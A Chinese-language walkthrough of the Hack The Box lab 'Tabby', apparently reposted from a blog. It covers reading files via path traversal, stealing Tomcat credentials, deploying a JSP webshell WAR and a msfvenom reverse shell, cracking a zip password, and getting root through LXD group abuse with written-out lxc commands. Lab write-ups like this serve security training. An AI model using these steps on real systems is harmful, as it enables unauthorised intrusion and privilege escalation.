Hack The Box——Tabby

目录

简介

信息收集

漏洞发现

路径穿越漏洞

文件读取漏洞

漏洞利用

Tomcat命令行部署webshell

权限提升

Zip文件密码破解

移动到ash用户shell

LXD权限滥用 

总结


简介

这依旧是一个简单的靶机,通过80端口的web服务存在的文件读取漏洞获取到tomcat用户密码,利用manager-script角色的权限上传并部署webshell,然后在网站的files目录下发现备份文件,通过暴力枚举获得密码,接着利用该密码切换至ash用户,最后利用lxd组用户权限滥用提升至root权限。

信息收集

使用nmap快速扫描端口,发现仅开启22,80和8080端口,分别运行着OpenSSH8.2,Apache 2.4.41和Tomcat,如图:

查看80端口web服务,发现一个邮件地址,如图:

查看网页各功能按钮,点击NEWS和底部链接时页面跳转,如图:

页面会跳转到同一地址,但无法正常解析,如图 

然后将域名添加到hosts文件,再次访问,如图: 

访问8080端口显示tomcat9默认页面,且在网站底部发现/etc/tomcat9/tomcat-users.xml。尝试使用常用弱口令登录管理页面未成功。

漏洞发现

从url中发现通过GET方法传递的参数file,尝试读取/etc/passwd测试是否存在文件包含漏洞,如图:

路径穿越漏洞

没有返回内容,尝试路径穿越,如图:

成功读取到文件内容,说明存在路径穿越漏洞,但不确定是文件包含还是文件读取漏洞。整理/etc/passwd文件内容如下:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
tomcat:x:997:997::/opt/tomcat:/bin/false
mysql:x:112:120:MySQL Server,,,:/nonexistent:/bin/false
ash:x:1000:1000:clive:/home/ash:/bin/bash

文件读取漏洞

读取index.php发现返回html代码,但读取news.php时发现网站并未解析php代码,只是输出文件内容,且从代码中可以看出这仅仅是文件读取漏洞,如图:

漏洞利用

利用该漏洞读取/etc/tomcat9/tomcat-users.xml未获得用户密码,然后再本地安装tomcat9,搜索tomcat-users.xml文件路径,如图:

使用第二个路径成功获得tomcat用户密码,如图:

然后使用该密码登录manager/html,但是显示禁止访问,如图:

但是host-manager可以登录,如图:

Tomcat命令行部署webshell

通过搜索发现Tomcat变体利用,但是无法利用成功。从tomcat-users.xml中发现tomcat用户没有manager-gui角色,因此无法登录manager/html页面,但是tomcat用户还具有manager-script角色,因此使用命令行执行命令成功,如图:

然后使用zip nhpt.war cmdjsp.jsp制作war木马(cmdjsp.jsp为Kali Linux自带的webshell),接着使用curl结合PUT方法上传并部署木马,如图:

查看webapp,如图:

然后访问木马,如图:

但是无法执行命令,可能是只支持Windows吧。然后使用msfvenom重新生成反弹shell的jsp木马,如图:

目标主机没有安装python2,但是安装了python3,因此同样可以导入pty模块使用spawn方法启用交互式shell,如图: 

权限提升

查看网站目录,发现file目录下存在zip文件,如图:

Zip文件密码破解

解压需要密码,尝试使用john破解如图:

然后提取网站单词做字典,如图:

使用file命令查看文件发现使用zip1.0压缩,尝试1-10位纯数字密码破解,如图:

使用rockyou字典进行破解,如图:

移动到ash用户shell

但是解压的文件没什么特别,尝试使用该密码利用ssh远程登录,如图:

尝试使用su命令和改密码切换用户成功,如图:

查看系统内核版本,如图:

内核版本较高,暂未发现内核提权漏洞。查看具有root权限的SUID可执行文件,如图:

没有可利用的文件,使用提权辅助脚本LinEnum.sh枚举,如图:

LXD权限滥用 

通过搜索引擎搜索发现Lxd权限提升,按照其利用步骤在Kali Linux分别执行:

  1. git clone  https://github.com/saghul/lxd-alpine-builder.git
  2. cd lxd-alpine-builder
  3. ./build-alpine

执行之后如图(网络不好需要多执行几次):

然后将tar.gz文件上传到目标主机,然后在目标主机执行:

  1. lxc image import ./alpine-v3.12-x86_64-20200714_0459.tar.gz --alias nhpt
  2. lxc init nhpt ignite -c security.privileged=true
  3. lxc config device add ignite nhpt disk source=/ path=/mnt/root recursive=true
  4. lxc start ignite
  5. lxc exec ignite /bin/sh

先执行前两步导入到镜像,并初始化镜像到ignite容器,如图:

 第一次运行LXD需要执行lxd init进行初始化,然后再次初始化镜像nhpt到ignite容器,如图:

然后执行最后三步,如图:

此外还在GitHub发现另一种利用方法,https://github.com/initstring/lxd_root,但是需要有容器,因此需要在初始化镜像nhpt到ignite容器后执行漏洞利用程序,如图:

总结

虽然靶机简单,但是还是花了些时间,主要是从tomcat用户移动到ash用户时,看到备份文件仅仅时对网站的备份,觉得没什么意义就没有破解文件密码,在枚举了靶机所有文件仍然没有发现用户ash的密码,最后又回过头来破解压缩文件密码。个人觉得从备份文件的密码到ash用户shell的思路设计的不怎么好。

原文地址:https://www.cnblogs.com/hzcya1995/p/13302338.html